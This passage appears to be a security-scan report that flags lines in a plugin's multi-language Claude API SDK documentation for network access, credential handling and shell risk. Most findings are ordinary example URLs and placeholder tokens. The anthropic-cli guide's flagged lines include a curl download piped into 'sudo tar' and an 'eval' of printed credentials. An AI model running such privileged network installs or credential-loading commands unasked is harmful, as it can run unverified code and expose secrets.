    fmt.Printf("Trace: https://platform.claude.com/workspaces/default/sessions/%s\n", session.ID) // swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 390
    Type: anthropic.BetaManagedAgentsURLMCPServerParamsTypeURL,         Name: "github",         URL:  "https://api.githubcopilot.com/mcp/",
  • Network accessline 391
    Name: "github",         URL:  "https://api.githubcopilot.com/mcp/",     }},
  • Network accessline 392
    URL:  "https://api.githubcopilot.com/mcp/",
  • Network accessline 449
    OfMCPOAuth: &anthropic.BetaManagedAgentsMCPOAuthCreateParams{             Type:         anthropic.BetaManagedAgentsMCPOAuthCreateParamsTypeMCPOAuth,             MCPServerURL: "https://mcp.slack.com/mcp",
  • Network accessline 450
    Type:         anthropic.BetaManagedAgentsMCPOAuthCreateParamsTypeMCPOAuth,             MCPServerURL: "https://mcp.slack.com/mcp",             AccessToken:  "xoxp-...",
  • Network accessline 451
    MCPServerURL: "https://mcp.slack.com/mcp",
  • Network accessline 453
    ExpiresAt:    anthropic.Time(time.Date(2026, time.April, 15, 0, 0, 0, 0, time.UTC)),             Refresh: anthropic.BetaManagedAgentsMCPOAuthRefreshParams{                 TokenEndpoint: "https://slack.com/api/oauth.v2.access",
  • Network accessline 454
    Refresh: anthropic.BetaManagedAgentsMCPOAuthRefreshParams{                 TokenEndpoint: "https://slack.com/api/oauth.v2.access",                 ClientID:      "1234567890.0987654321",
  • Network accessline 455
    TokenEndpoint: "https://slack.com/api/oauth.v2.access",
  • Network accessline 511
    OfGitHubRepository: &anthropic.BetaManagedAgentsGitHubRepositoryResourceParams{                 Type:               anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository,                 URL:                "https://
  • Network accessline 512
    Type:               anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository,                 URL:                "https://github.com/org/repo",                 MountPath:          anthropic.String("/workspace/repo"),
  • Network accessline 513
    URL:                "https://github.com/org/repo",
  • Network accessline 530
    OfGitHubRepository: &anthropic.BetaManagedAgentsGitHubRepositoryResourceParams{             Type:               anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository,             URL:                "https://github.c
  • Network accessline 531
    Type:               anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository,             URL:                "https://github.com/org/frontend",             MountPath:          anthropic.String("/workspace/frontend"),
  • Network accessline 532
    URL:                "https://github.com/org/frontend",
  • Network accessline 538
    OfGitHubRepository: &anthropic.BetaManagedAgentsGitHubRepositoryResourceParams{             Type:               anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository,             URL:                "https://github.c
  • Network accessline 539
    Type:               anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository,             URL:                "https://github.com/org/backend",             MountPath:          anthropic.String("/workspace/backend"),
  • Network accessline 540
    URL:                "https://github.com/org/backend",

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/java/claude-api/README.md

  • Access to secretsline 66
    [Credential-related source omitted]
  • Network accessline 191
    DocumentBlockParam doc = DocumentBlockParam.builder()     .source(Base64PdfSource.builder().data(base64String).build())     // or .source(UrlPdfSource.builder().url("https://...").build())
  • Network accessline 192
    .source(Base64PdfSource.builder().data(base64String).build())     // or .source(UrlPdfSource.builder().url("https://...").build())     .title("My Document")        // optional
  • Network accessline 193
    // or .source(UrlPdfSource.builder().url("https://...").build())

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/java/claude-api/tool-use.md

  • Network accessline 198
    .addMcpServer(BetaRequestMcpServerUrlDefinition.builder()         .name("my-server")         .url("https://example.com/mcp")
  • Network accessline 199
    .name("my-server")         .url("https://example.com/mcp")         .build())
  • Network accessline 200
    .url("https://example.com/mcp")

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/java/managed-agents/README.md

  • Network accessline 3
    > **Bindings not shown here:** This README covers the most common managed-agents flows for Java. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the Java SDK repo **or the relevant docs page** from `sh
  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 76
    .build()); System.out.println("Session ID: " + session.id()); System.out.println("Trace: https://platform.claude.com/workspaces/default/sessions/" + session.id()); // swap 'default' for your workspace ID if the API key is not in the Default
  • Network accessline 78
    System.out.println("Trace: https://platform.claude.com/workspaces/default/sessions/" + session.id()); // swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 301
    .type(BetaManagedAgentsUrlMcpServerParams.Type.URL)         .name("github")         .url("https://api.githubcopilot.com/mcp/")
  • Network accessline 302
    .name("github")         .url("https://api.githubcopilot.com/mcp/")         .build())
  • Network accessline 303
    .url("https://api.githubcopilot.com/mcp/")
  • Network accessline 356
    .auth(BetaManagedAgentsMcpOAuthCreateParams.builder()             .type(BetaManagedAgentsMcpOAuthCreateParams.Type.MCP_OAUTH)             .mcpServerUrl("https://mcp.slack.com/mcp")
  • Network accessline 357
    .type(BetaManagedAgentsMcpOAuthCreateParams.Type.MCP_OAUTH)             .mcpServerUrl("https://mcp.slack.com/mcp")             .accessToken("xoxp-...")
  • Network accessline 358
    .mcpServerUrl("https://mcp.slack.com/mcp")
  • Network accessline 360
    .expiresAt(OffsetDateTime.parse("2026-04-15T00:00:00Z"))             .refresh(BetaManagedAgentsMcpOAuthRefreshParams.builder()                 .tokenEndpoint("https://slack.com/api/oauth.v2.access")
  • Network accessline 361
    .refresh(BetaManagedAgentsMcpOAuthRefreshParams.builder()                 .tokenEndpoint("https://slack.com/api/oauth.v2.access")                 .clientId("1234567890.0987654321")
  • Network accessline 362
    .tokenEndpoint("https://slack.com/api/oauth.v2.access")
  • Network accessline 402
    .addResource(BetaManagedAgentsGitHubRepositoryResourceParams.builder()         .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY)         .url("https://github.com/org/repo")
  • Network accessline 403
    .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY)         .url("https://github.com/org/repo")         .mountPath("/workspace/repo")
  • Network accessline 404
    .url("https://github.com/org/repo")
  • Network accessline 417
    BetaManagedAgentsGitHubRepositoryResourceParams.builder()         .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY)         .url("https://github.com/org/frontend")
  • Network accessline 418
    .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY)         .url("https://github.com/org/frontend")         .mountPath("/workspace/frontend")
  • Network accessline 419
    .url("https://github.com/org/frontend")
  • Network accessline 423
    BetaManagedAgentsGitHubRepositoryResourceParams.builder()         .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY)         .url("https://github.com/org/backend")
  • Network accessline 424
    .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY)         .url("https://github.com/org/backend")         .mountPath("/workspace/backend")
  • Network accessline 425
    .url("https://github.com/org/backend")

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/php/claude-api/README.md

  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/php/claude-api/tool-use.md

  • Network accessline 200
    BetaRequestMCPServerURLDefinition::with(             name: 'my-server',             url: 'https://example.com/mcp',
  • Network accessline 201
    name: 'my-server',             url: 'https://example.com/mcp',         ),
  • Network accessline 202
    url: 'https://example.com/mcp',

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/php/managed-agents/README.md

  • Network accessline 3
    > **Bindings not shown here:** This README covers the most common managed-agents flows for PHP. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the PHP SDK repo **or the relevant docs page** from `shar
  • Access to secretsline 18
    [Credential-related source omitted]
  • Network accessline 65
    ); echo "Session ID: {$session->id}\n"; echo "Trace: https://platform.claude.com/workspaces/default/sessions/{$session->id}\n"; // swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 67
    echo "Trace: https://platform.claude.com/workspaces/default/sessions/{$session->id}\n"; // swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 207
    > ℹ<U+FE0F> **PHP file upload:** The PHP SDK's beta managed-agents file upload binding is not shown in the apps source examples; the canonical PHP example uses raw cURL against `POST /v1/files`. If your codebase prefers the SDK, web_fetch the `ant
  • Network accessline 212
    // Raw cURL upload (canonical example from the apps source)
  • Network accessline 213
    $csvPath = 'data.csv'; $ch = curl_init('https://api.anthropic.com/v1/files'); curl_setopt_array($ch, [
  • Network accessline 214
    $ch = curl_init('https://api.anthropic.com/v1/files');
  • Access to secretsline 219
    [Credential-related source omitted]
  • Network accessline 313
    type: 'url',             name: 'github',             url: 'https://api.githubcopilot.com/mcp/',
  • Network accessline 314
    name: 'github',             url: 'https://api.githubcopilot.com/mcp/',         ),
  • Network accessline 315
    url: 'https://api.githubcopilot.com/mcp/',
  • Network accessline 357
    auth: [         'type' => 'mcp_oauth',         'mcp_server_url' => 'https://mcp.slack.com/mcp',
  • Network accessline 358
    [Credential-related source omitted]
  • Network accessline 359
    'mcp_server_url' => 'https://mcp.slack.com/mcp',
  • Access to secretsline 360
    [Credential-related source omitted]
  • Network accessline 361
    'expires_at' => '2026-04-15T00:00:00Z',         'refresh' => [             'token_endpoint' => 'https://slack.com/api/oauth.v2.access',
  • Network accessline 362
    'refresh' => [             'token_endpoint' => 'https://slack.com/api/oauth.v2.access',             'client_id' => '1234567890.0987654321',
  • Network accessline 363
    'token_endpoint' => 'https://slack.com/api/oauth.v2.access',
  • Access to secretsline 369
    [Credential-related source omitted]
  • Access to secretsline 381
    [Credential-related source omitted]
  • Network accessline 403
    [             'type' => 'github_repository',             'url' => 'https://github.com/org/repo',
  • Network accessline 404
    'type' => 'github_repository',             'url' => 'https://github.com/org/repo',             'mount_path' => '/workspace/repo',
  • Network accessline 405
    'url' => 'https://github.com/org/repo',
  • Network accessline 417
    [         'type' => 'github_repository',         'url' => 'https://github.com/org/frontend',
  • Network accessline 418
    'type' => 'github_repository',         'url' => 'https://github.com/org/frontend',         'mount_path' => '/workspace/frontend',
  • Network accessline 419
    'url' => 'https://github.com/org/frontend',
  • Network accessline 423
    [         'type' => 'github_repository',         'url' => 'https://github.com/org/backend',
  • Network accessline 424
    'type' => 'github_repository',         'url' => 'https://github.com/org/backend',         'mount_path' => '/workspace/backend',
  • Network accessline 425
    'url' => 'https://github.com/org/backend',

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/python/claude-api/README.md

  • Access to secretsline 15
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]
  • Network accessline 53
    `anthropic` 1.x is built on [`httpx2`](https://pypi.org/project/httpx2/), not `httpx`. `anthropic.Timeout` is `httpx2.Timeout`; if you import the HTTP library yourself, write `import httpx2 as httpx` — an object from the `httpx` package (`h
  • Network accessline 77
    client = Anthropic(     base_url="http://my.test.server.example.com:8083",  # or ANTHROPIC_BASE_URL env var
  • Network accessline 78
    base_url="http://my.test.server.example.com:8083",  # or ANTHROPIC_BASE_URL env var
  • Network accessline 79
    http_client=DefaultHttpxClient(proxy="http://my.test.proxy.example.com"),
  • Network accessline 178
    "source": {                     "type": "url",                     "url": "https://example.com/image.png"
  • Network accessline 179
    "type": "url",                     "url": "https://example.com/image.png"                 }
  • Network accessline 180
    "url": "https://example.com/image.png"

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/python/claude-api/sdk-upgrade.md

  • Network accessline 18
    **Target version.** Before writing any pin, confirm a 1.x release is actually published: `pip index versions anthropic` (or `curl -s https://pypi.org/pypi/anthropic/json` and read `info.version`). Use the newest 1.x you find. If no 1.x rele
  • Network accessline 60
    - **[BREAKS] Objects passed in.** `httpx.Timeout`, `httpx.Limits`, transports (`httpx.HTTPTransport(...)`, `AsyncHTTPTransport`, `MockTransport`), and whole clients (`httpx.Client` / `AsyncClient` as `http_client=`) must come from `httpx2`.
  • Network accessline 67
    client = Anthropic(       timeout=httpx.Timeout(60.0, connect=5.0),
  • Network accessline 68
    timeout=httpx.Timeout(60.0, connect=5.0),
  • Network accessline 69
    http_client=DefaultHttpxClient(proxy="http://proxy.example", transport=httpx.HTTPTransport(retries=1)),
  • Network accessline 76
    client = Anthropic(       timeout=httpx.Timeout(60.0, connect=5.0),
  • Network accessline 77
    timeout=httpx.Timeout(60.0, connect=5.0),
  • Network accessline 78
    http_client=DefaultHttpxClient(proxy="http://proxy.example", transport=httpx.HTTPTransport(retries=1)),

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/python/claude-api/tool-use.md

  • Network accessline 91
    **Beta.** Convert [MCP (Model Context Protocol)](https://modelcontextprotocol.io/) tools, prompts, and resources to Anthropic API types for use with the tool runner. Requires `pip install anthropic[mcp]` (Python 3.10+).
  • Network accessline 496
    - `https://github.com/anthropics/anthropic-sdk-python/blob/main/examples/memory/basic.py`

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/python/managed-agents/README.md

  • Network accessline 3
    > **Bindings not shown here:** This README covers the most common managed-agents flows for Python. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the Python SDK repo **or the relevant docs page** from
  • Access to secretsline 19
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]
  • Network accessline 62
    ) print(session.id, session.status) print(f"Trace: https://platform.claude.com/workspaces/default/sessions/{session.id}")  # swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 64
    print(f"Trace: https://platform.claude.com/workspaces/default/sessions/{session.id}")  # swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 98
    {             "type": "github_repository",             "url": "https://github.com/owner/repo",
  • Network accessline 99
    "type": "github_repository",             "url": "https://github.com/owner/repo",             "mount_path": "/workspace/repo",
  • Network accessline 100
    "url": "https://github.com/owner/repo",
  • Access to secretsline 102
    [Credential-related source omitted]
  • Network accessline 195
    > ⚠<U+FE0F> **Prefer the SDK over raw `requests`/`httpx`.** If you hand-roll a poll loop, don't assume `timeout=(5, 60)` or `httpx.Timeout(120)` caps total call duration — both are **per-chunk** read timeouts (reset on every byte), so a trickling 
  • Network accessline 317
    model="claude-opus-5",     mcp_servers=[         {"type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse"},
  • Network accessline 318
    mcp_servers=[         {"type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse"},     ],
  • Network accessline 319
    {"type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse"},

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/ruby/claude-api/README.md

  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/ruby/managed-agents/README.md

  • Network accessline 3
    > **Bindings not shown here:** This README covers the most common managed-agents flows for Ruby. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the Ruby SDK repo **or the relevant docs page** from `sh
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 22
    [Credential-related source omitted]
  • Network accessline 64
    ) puts "Session ID: #{session.id}" puts "Trace: https://platform.claude.com/workspaces/default/sessions/#{session.id}"  # swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 66
    puts "Trace: https://platform.claude.com/workspaces/default/sessions/#{session.id}"  # swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 271
    type: "url",       name: "github",       url: "https://api.githubcopilot.com/mcp/"
  • Network accessline 272
    name: "github",       url: "https://api.githubcopilot.com/mcp/"     }
  • Network accessline 273
    url: "https://api.githubcopilot.com/mcp/"
  • Network accessline 308
    auth: {     type: "mcp_oauth",     mcp_server_url: "https://mcp.slack.com/mcp",
  • Network accessline 309
    [Credential-related source omitted]
  • Network accessline 310
    mcp_server_url: "https://mcp.slack.com/mcp",
  • Access to secretsline 311
    [Credential-related source omitted]
  • Network accessline 312
    expires_at: "2026-04-15T00:00:00Z",     refresh: {       token_endpoint: "https://slack.com/api/oauth.v2.access",
  • Network accessline 313
    refresh: {       token_endpoint: "https://slack.com/api/oauth.v2.access",       client_id: "1234567890.0987654321",
  • Network accessline 314
    token_endpoint: "https://slack.com/api/oauth.v2.access",
  • Access to secretsline 320
    [Credential-related source omitted]
  • Access to secretsline 332
    [Credential-related source omitted]
  • Network accessline 354
    {       type: "github_repository",       url: "https://github.com/org/repo",
  • Network accessline 355
    type: "github_repository",       url: "https://github.com/org/repo",       mount_path: "/workspace/repo",
  • Network accessline 356
    url: "https://github.com/org/repo",
  • Network accessline 368
    {     type: "github_repository",     url: "https://github.com/org/frontend",
  • Network accessline 369
    type: "github_repository",     url: "https://github.com/org/frontend",     mount_path: "/workspace/frontend",
  • Network accessline 370
    url: "https://github.com/org/frontend",
  • Network accessline 374
    {     type: "github_repository",     url: "https://github.com/org/backend",
  • Network accessline 375
    type: "github_repository",     url: "https://github.com/org/backend",     mount_path: "/workspace/backend",
  • Network accessline 376
    url: "https://github.com/org/backend",

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/agent-design.md

  • Network accessline 28
    - **Security boundary.** Actions that require gating are natural candidates. Reversibility is a useful criterion: hard-to-reverse actions (external API calls, sending messages, deleting data) can be gated behind user confirmation. A `send_e

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/anthropic-cli.md

  • Network accessline 23
    # Linux / WSL — pick the release from github.com/anthropics/anthropic-cli/releases curl -fsSL "https://github.com/anthropics/anthropic-cli/releases/download/v${VERSION}/ant_${VERSION}_$(uname -s | tr A-Z a-z)_$(uname -m | sed -e s/x86_64/am
  • Dangerous shell operationline 24
    curl -fsSL "https://github.com/anthropics/anthropic-cli/releases/download/v${VERSION}/ant_${VERSION}_$(uname -s | tr A-Z a-z)_$(uname -m | sed -e s/x86_64/amd64/ -e s/aarch64/arm64/).tar.gz"    | sudo tar -xz -C /usr/local/bin ant
  • Network accessline 24
    curl -fsSL "https://github.com/anthropics/anthropic-cli/releases/download/v${VERSION}/ant_${VERSION}_$(uname -s | tr A-Z a-z)_$(uname -m | sed -e s/x86_64/amd64/ -e s/aarch64/arm64/).tar.gz" \
  • Dangerous shell operationline 25
    | sudo tar -xz -C /usr/local/bin ant
  • Access to secretsline 31
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]
  • Network accessline 57
    # Bare access token — for curl's Authorization header curl https://api.anthropic.com/v1/messages \
  • Network accessline 58
    curl https://api.anthropic.com/v1/messages \
  • Access to secretsline 65
    [Credential-related source omitted]
  • Dangerous shell operationline 67
    set -a; eval "$(ant auth print-credentials --env)"; set +a
  • Access to secretsline 68
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Access to secretsline 73
    [Credential-related source omitted]
  • Network accessline 106
    `--transform` takes a [GJSON path](https://github.com/tidwall/gjson/blob/master/SYNTAX.md). On list endpoints it runs **per item**, not on the envelope.

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/claude-platform-on-aws.md

  • Network accessline 45
    Endpoint pattern: `https://aws-external-anthropic.{region}.api.aws/v1/...`. Requests are SigV4-signed with service name `aws-external-anthropic`.
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/error-codes.md

  • Access to secretsline 59
    [Credential-related source omitted]
  • Access to secretsline 61
    [Credential-related source omitted]
  • Network accessline 155
    **Fix:** Retry with exponential backoff. If persistent, check [status.anthropic.com](https://status.anthropic.com).

harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/live-sources.md

  • Network accessline 16
    | Topic           | URL                                                                          | Extraction Prompt                                                               | | --------------- | ---------------------------------------
  • Network accessline 17
    | --------------- | ---------------------------------------------------------------------------- | ------------------------------------------------------------------------------- | | Models Overview | `https://platform.claude.com/docs/en/mo
  • Network accessline 18
    | Models Overview | `https://platform.claude.com/docs/en/models/overview.md`        | "Extract current model IDs, context windows, and pricing for all Claude models" |
  • Network accessline 19
    | Migration Guide | `https://platform.claude.com/docs/en/about-claude/models/migration-guide.md` | "Extract breaking changes, deprecated parameters, and per-model migration steps when moving to a newer Claude model" |
  • Network accessline 20
    | Introducing Claude Fable 5 | `https://platform.claude.com/docs/en/models/fable-5/introducing-claude-fable-5-and-claude-mythos-5.md` | "Extract capabilities, API changes, and availability stages for Claude Fable 5 and Claude Mythos 5" |
  • Network accessline 21
    | Pricing         | `https://platform.claude.com/docs/en/about-claude/pricing.md`                             | "Extract current pricing per million tokens for input and output"               |
  • Network accessline 25
    | Topic             | URL                                                                          | Extraction Prompt                                                                      | | ----------------- | ----------------------------
  • Network accessline 26
    | ----------------- | ---------------------------------------------------------------------------- | -------------------------------------------------------------------------------------- | | Extended Thinking | `https://platform.claude.com
  • Network accessline 27
    | Extended Thinking | `https://platform.claude.com/docs/en/build-with-claude/extended-thinking.md` | "Extract extended thinking parameters, budget_tokens requirements, and usage examples" |
  • Network accessline 28
    | Adaptive Thinking | `https://platform.claude.com/docs/en/build-with-claude/adaptive-thinking.md` | "Extract adaptive thinking setup, effort levels, and Claude Opus 5 usage examples"         |
  • Network accessline 29
    | Effort Parameter  | `https://platform.claude.com/docs/en/build-with-claude/effort.md`            | "Extract effort levels, cost-quality tradeoffs, and interaction with thinking"        |
  • Network accessline 30
    | Tool Use          | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/overview.md`  | "Extract tool definition schema, tool_choice options, and handling tool results"       |
  • Network accessline 31
    | Streaming         | `https://platform.claude.com/docs/en/build-with-claude/streaming.md`         | "Extract streaming event types, SDK examples, and best practices"                      |
  • Network accessline 32
    | Prompt Caching    | `https://platform.claude.com/docs/en/build-with-claude/prompt-caching.md`    | "Extract cache_control usage, pricing benefits, and implementation examples"           |
  • Network accessline 36
    | Topic       | URL                                                                    | Extraction Prompt                                                 | | ----------- | -------------------------------------------------------------------
  • Network accessline 37
    | ----------- | ---------------------------------------------------------------------- | ----------------------------------------------------------------- | | Vision      | `https://platform.claude.com/docs/en/build-with-claude/vision.md`  
  • Network accessline 38
    | Vision      | `https://platform.claude.com/docs/en/build-with-claude/vision.md`      | "Extract supported image formats, size limits, and code examples" |
  • Network accessline 39
    | PDF Support | `https://platform.claude.com/docs/en/build-with-claude/pdf-support.md` | "Extract PDF handling capabilities, limits, and examples"         |
  • Network accessline 43
    | Topic            | URL                                                                         | Extraction Prompt                                                                                       | | ---------------- | --------------
  • Network accessline 44
    | ---------------- | --------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------- | | Batch Processing | `https://platf
  • Network accessline 45
    | Batch Processing | `https://platform.claude.com/docs/en/build-with-claude/batch-processing.md` | "Extract batch API endpoints, request format, and polling for results"                                  | | Files API        | `https://platf
  • Network accessline 46
    | Files API        | `https://platform.claude.com/docs/en/build-with-claude/files.md`            | "Extract file upload, download, and referencing in messages, including supported types and beta header" |
  • Network accessline 47
    | Token Counting   | `https://platform.claude.com/docs/en/build-with-claude/token-counting.md`   | "Extract token counting API usage and examples"                                                         |
  • Network accessline 48
    | Rate Limits      | `https://platform.claude.com/docs/en/api/rate-limits.md`                    | "Extract current rate limits by tier and model"                                                         |
  • Network accessline 49
    | Errors           | `https://platform.claude.com/docs/en/api/errors.md`                         | "Extract HTTP error codes, meanings, and retry guidance"                                                |
  • Network accessline 50
    | Amazon Bedrock   | `https://platform.claude.com/docs/en/build-with-claude/claude-on-amazon-bedrock.md` | "Extract the AnthropicBedrockMantle client per language, `anthropic.`-prefixed model IDs, auth paths, feature availability, and regio
  • Network accessline 51
    | Claude Platform on AWS | `https://platform.claude.com/docs/en/build-with-claude/claude-platform-on-aws.md` | "Extract the AnthropicAWS client per language, SigV4 auth, credential precedence, short-term API keys, workspace_id, and region r
  • Network accessline 52
    | Claude Platform on AWS — IAM actions | `https://platform.claude.com/docs/en/api/claude-platform-on-aws-iam-actions.md` | "Extract the IAM action names, resource ARNs, and policy examples required for each API capability" |
  • Network accessline 56
    | Topic          | URL                                                                                    | Extraction Prompt                                                                        | | -------------- | ----------------------
  • Network accessline 57
    | -------------- | -------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- | | Code Execution | `https://platform.clau
  • Network accessline 58
    | Code Execution | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/code-execution-tool.md` | "Extract code execution tool setup, file upload, container reuse, and response handling" |
  • Network accessline 59
    | Computer Use   | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/computer-use.md`        | "Extract computer use tool setup, capabilities, and implementation examples"             |
  • Network accessline 60
    | Bash Tool      | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/bash-tool.md`           | "Extract bash tool schema, reference implementation, and security considerations"        |
  • Network accessline 61
    | Text Editor    | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/text-editor-tool.md`    | "Extract text editor tool commands, schema, and reference implementation"                |
  • Network accessline 62
    | Memory Tool    | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/memory-tool.md`         | "Extract memory tool commands, directory structure, and implementation patterns"         |
  • Network accessline 63
    | Tool Search    | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool.md`    | "Extract tool search setup, when to use, and cache interaction"                          |
  • Network accessline 64
    | Programmatic Tool Calling | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/programmatic-tool-calling.md` | "Extract PTC setup, script execution model, and tool invocation from code"    |
  • Network accessline 65
    | Skills         | `https://platform.claude.com/docs/en/agents-and-tools/skills.md`                       | "Extract skill folder structure, SKILL.md format, and loading behavior"                  |
  • Network accessline 69
    | Topic              | URL                                                                           | Extraction Prompt                                   | | ------------------ | ------------------------------------------------------------
  • Network accessline 70
    | ------------------ | ----------------------------------------------------------------------------- | --------------------------------------------------- | | Structured Outputs | `https://platform.claude.com/docs/en/build-with-claude/struc
  • Network accessline 71
    | Structured Outputs | `https://platform.claude.com/docs/en/build-with-claude/structured-outputs.md` | "Extract output_config.format usage and schema enforcement"                           |
  • Network accessline 72
    | Compaction         | `https://platform.claude.com/docs/en/build-with-claude/compaction.md`         | "Extract compaction setup, trigger config, and streaming with compaction"             |
  • Network accessline 73
    | Context Editing    | `https://platform.claude.com/docs/en/build-with-claude/context-editing.md`    | "Extract context editing thresholds, what gets cleared, and configuration"            |
  • Network accessline 74
    | Citations          | `https://platform.claude.com/docs/en/build-with-claude/citations.md`          | "Extract citation format and implementation"        |
  • Network accessline 75
    | Context Windows    | `https://platform.claude.com/docs/en/build-with-claude/context-windows.md`    | "Extract context window sizes and token management" |
  • Network accessline 81
    | Topic                 | URL                                                                              | Extraction Prompt                                                                               | | --------------------- | -------
  • Network accessline 82
    | --------------------- | -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | | Overview              | `https:
  • Network accessline 83
    | Overview              | `https://platform.claude.com/docs/en/managed-agents/overview.md`                 | "Extract the high-level architecture and how agents/sessions/environments/vaults fit together" |
  • Network accessline 84
    | Quickstart            | `https://platform.claude.com/docs/en/managed-agents/quickstart.md`               | "Extract the minimal end-to-end agent → environment → session → stream code path"              |
  • Network accessline 85
    | Agent Setup           | `https://platform.claude.com/docs/en/managed-agents/agent-setup.md`              | "Extract agent create/update/list-versions/archive lifecycle and parameters"                   |
  • Network accessline 86
    | Define Outcomes       | `https://platform.claude.com/docs/en/managed-agents/define-outcomes.md`          | "Extract outcome definitions, evaluation hooks, and success criteria configuration"             |
  • Network accessline 87
    | Sessions              | `https://platform.claude.com/docs/en/managed-agents/sessions.md`                 | "Extract session lifecycle, status transitions, idle/terminated semantics, and resume rules"    |
  • Network accessline 88
    | Environments          | `https://platform.claude.com/docs/en/managed-agents/environments.md`             | "Extract environment config (cloud/networking), management endpoints, and reuse model"          |
  • Network accessline 89
    | Self-Hosted Sandboxes | `https://platform.claude.com/docs/en/managed-agents/self-hosted-sandboxes.md`    | "Extract config:{type:self_hosted}, ANTHROPIC_ENVIRONMENT_KEY, EnvironmentWorker.run/run_one, beta_agent_toolset, ant beta:worker p
  • Network accessline 90
    | Self-Hosted Sandboxes — Security | `https://platform.claude.com/docs/en/managed-agents/self-hosted-sandboxes-security.md` | "Extract what the customer owns (hardening, egress, key custody, trust boundaries) vs what Anthropic cannot do" |
  • Network accessline 91
    | Events and Streaming  | `https://platform.claude.com/docs/en/managed-agents/events-and-streaming.md`     | "Extract event stream types, stream-first ordering, reconnect/dedupe, and steering patterns"    |
  • Network accessline 92
    | Tools                 | `https://platform.claude.com/docs/en/managed-agents/tools.md`                    | "Extract built-in toolset, custom tool definitions, and tool result wire format"                |
  • Network accessline 93
    | Files                 | `https://platform.claude.com/docs/en/managed-agents/files.md`                    | "Extract file upload, mount paths, session resources, and listing/downloading session outputs"  |
  • Network accessline 94
    | Permission Policies   | `https://platform.claude.com/docs/en/managed-agents/permission-policies.md`      | "Extract permission policy types (allow/deny/confirm) and per-tool config"                     |
  • Network accessline 95
    | Multi-Agent           | `https://platform.claude.com/docs/en/managed-agents/multiagent-orchestration.md` | "Extract multi-agent composition patterns, sub-agent invocation, and result handoff"            |
  • Network accessline 96
    | Observability         | `https://platform.claude.com/docs/en/managed-agents/observability.md`            | "Extract logging, tracing, and usage telemetry exposed by managed agents"                       |
  • Network accessline 97
    | Webhooks              | `https://platform.claude.com/docs/en/managed-agents/webhooks.md`                 | "Extract webhook endpoint registration, HMAC signature verification, supported event types, and delivery semantics" |
  • Network accessline 98
